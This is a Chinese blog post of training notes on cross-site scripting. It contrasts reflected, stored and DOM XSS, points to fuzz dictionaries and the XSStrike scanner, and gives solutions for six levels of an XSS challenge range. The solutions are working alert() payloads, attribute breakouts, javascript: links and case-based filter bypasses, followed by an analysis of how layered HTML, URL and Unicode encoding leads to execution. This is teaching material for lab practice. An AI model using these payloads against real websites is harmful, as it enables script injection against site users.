Day4(网络完全实训)

目录

反射型、存储型、DOM型XSS特点和区别

1. 反射型 XSS(Reflected XSS)

2. 存储型 XSS(Stored XSS)

3. DOM 型 XSS(DOM-based XSS)

区别总结

XSS 的fuzz字典或字典生成工具

fuzz字典下载地址

XSStrike

介绍:

作用:

特点:

XSS挑战靶场打靶

第一关

第二关

第三关

第四关

第五关

第六关

解释《漏洞利用之XSS注入》

案列1:

案列2:Button

案列3:

案列4:

案列5:


反射型、存储型、DOM型XSS特点和区别

1. 反射型 XSSReflected XSS

  • 特点
    • 攻击者构造恶意链接,用户点击后通过 URL 传递恶意脚本。
    • 脚本被即时反射回用户的浏览器并执行。
    • 通常依赖于社交工程手段来诱骗用户点击链接。
  • 场景:例如,攻击者发送一封电子邮件,含有指向受害网站的链接,链接中包含恶意脚本。

2. 存储型 XSSStored XSS

  • 特点
    • 恶意脚本被永久存储在服务器上,例如在数据库、消息板、评论区等。
    • 当用户访问特定页面时,存储的脚本会被加载并执行。
    • 更具危害性,因为一旦脚本被存储,任何访问该页面的用户均会受到影响。
  • 场景:例如,用户在评论区发布一条包含恶意脚本的评论,其他用户查看该评论时,脚本会被执行。

3. DOM XSSDOM-based XSS

  • 特点
    • 利用客户端的 JavaScript 操作 DOM 完成攻击,无需依赖于服务器的响应。
    • 主要通过修改页面的 DOM 结构来植入恶意代码。
    • 更隐蔽,通常通过对 URL 或客户端存储(如 localStoragesessionStorage)中数据的操控实现。
  • 场景:例如,通过在 URL 中添加恶意参数,JavaScript 脚本在处理这些参数时不加以验证,直接在页面中插入恶意代码。

区别总结

  • 触发方式
    • 反射型 XSS:通过 URL 直接触发。
    • 存储型 XSS:已存储在服务器中,一经发布即可多次触发。
    • DOM XSS:通过修改客户端脚本执行DOM操作触发。
  • 影响范围
    • 反射型 XSS:影响特定受害用户。
    • 存储型 XSS:影响所有访问受影响页面的用户。
    • DOM XSS:主要影响执行恶意脚本的客户端。
  • 修复难度
    • 反射型 XSS:通常通过输入验证和输出编码防护。
    • 存储型 XSS:需要在数据存储和展示时采取严格的验证和过滤措施。
    • DOM XSS:需审查和修复前端代码,以确保不执行不受信任的数据。

XSS 的fuzz字典或字典生成工具

fuzz字典下载地址

GitHub - fuzzdb-project/fuzzdb: Dictionary of attack patterns and primitives for black-box application fault injection and resource discovery.

GitHub - TheKingOfDuck/fuzzDicts: Web Pentesting Fuzz 字典,一个就够了。

GitHub - TuuuNya/fuzz_dict: 常用的一些fuzz及爆破字典,欢迎大神继续提供新的字典及分类。

GitHub - jas502n/fuzz-wooyun-org: WooYun Fuzz 库

XSStrike

介绍:

XSStrike是一款检测Cross Site Scripting的高级检测工具。它集成了payload生成器、爬虫和模糊引擎功能。XSStrike不是像其他工具那样注入有效负载并检查其工作,而是通过多个解析器分析响应,然后通过与模糊引擎集成的上下文分析来保证有效负载。除此之外,XSStrike还具有爬行,模糊测试,参数发现,WAF检测功能。它还会扫描DOM XSS漏洞。

作用:

找到新的XSS向量,适用于任何浏览器GET和POST参数上测试XSS有效载荷在浏览器中绕过XSS审核员绕过Web应用程序防火墙利用HTML白名单特征

特点:

反射和DOM XSS扫描 多线程爬行 上下文分析 可配置的核心 WAF检测与逃避 过时的JS Lib扫描 智能有效载荷发生器 手工制作HTML和JavaScript解析器 强大的模糊发动机 盲目XSS支持 高度研究的工作流程 完整的HTTP支持 从文件中有效载荷 由Photon,Zetanize和Arjun提供动力 有效载荷编码

下载地址:
s0md3v/XSStrike: Most advanced XSS scanner. (github.com)

XSS挑战靶场打靶

第一关

这关没有什么难度,直接输入<script>alert('1')</script>

在顶部的网址处:

https://xss.tesla-space.com/level1.php?name=%3Cscript%3Ealert(%271%27)%3C/script%3E

第二关

直接输入<script>alert('1')</script>后,没有什么大反应

点击F12查看框内情况,发现我们的指令没闭合,简单的修改一下,在我们的代码前加入“>

输入:

“><script>alert('1')</script>

第三关

输入:<script>alert('1')</script>,查看一下情况,发现单引号没转义

使用'οnfοcus='alert(1)

第四关

先用第三关的'οnfοcus='alert(1)试试

可以直接通过

试一下大小写绕过,发现不行,改用a

输入: ' "><a href="javascript:alert()">aa</a>

第五关

用<script>alert('1')</script>试一下

试一下大小写绕过,发现不行,改用a

输入: ' "><a href="javascript:alert()">aa</a>

第六关

level5的答案输入,发现herf也被禁用了

可以大小写绕过

输入:   ' "><sCripT>alert(1);</sCripT>

解释《漏洞利用之XSS注入》

案列1:<a href="javascript%3aalert(3)"></a>

理由:因为要先HTML解码,但%3a不被识别,解码失败,不会被执⾏。

案列2:<button οnclick="confirm('8\u0027);">Button</button>

理由:unicode不可以对特殊符号进行编码,例如:' " \n

案列3:<script>\u0061\u006c\u0065\u0072\u0074(10);</script>

理由:\u0061\u006c\u0065\u0072\u0074(10);会被unicode解码为alert(10);

函数名 alert 属于标识符,直接被JS执⾏

案列4:

<script>\u0061\u006c\u0065\u0072\u0074\u0028\u0031\u0031\u0029</script>

理由:\u0061\u006c\u0065\u0072\u0074\u0028\u0031\u0031\u0029会被解码为alert(11),

函数名 alert 属于标识符,直接被JS执⾏。

案列5:

<a href="&#x6a;&#x61;&#x76;&#x61;&#x73;&#x63;&#x72;&#x69;&#x70;&#x74;&#x3a;

&#x25;&#x35;&#x63;&#x25;&#x37;&#x35;&#x25;&#x33;&#x30;&#x25;&#x33;&#x30;&#x

25;&#x33;&#x36;&#x25;&#x33;&#x31;&#x25;&#x35;&#x63;&#x25;&#x37;&#x35;&#x25;

&#x33;&#x30;&#x25;&#x33;&#x30;&#x25;&#x33;&#x36;&#x25;&#x36;&#x33;&#x25;&#x

35;&#x63;&#x25;&#x37;&#x35;&#x25;&#x33;&#x30;&#x25;&#x33;&#x30;&#x25;&#x33;

&#x36;&#x25;&#x33;&#x35;&#x25;&#x35;&#x63;&#x25;&#x37;&#x35;&#x25;&#x33;&#x

30;&#x25;&#x33;&#x30;&#x25;&#x33;&#x37;&#x25;&#x33;&#x32;&#x25;&#x35;&#x63;

&#x25;&#x37;&#x35;&#x25;&#x33;&#x30;&#x25;&#x33;&#x30;&#x25;&#x33;&#x37;&#x

25;&#x33;&#x34;&#x28;&#x31;&#x35;&#x29;"></a>

理由:

先HTML解码,得到

<a href="javascript:%5c%75%30%30%36%31%5c%75%30%30%36%63%5c%75%30%30%36%35%

5c%75%30%30%37%32%5c%75%30%30%37%34(15)"></a>

在href中由URL模块处理,解码得到

javascript:\u0061\u006c\u0065\u0072\u0074(15)

识别JS协议,然后由JS模块处理,解码得到

javascript:alert(15)

最后执行

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值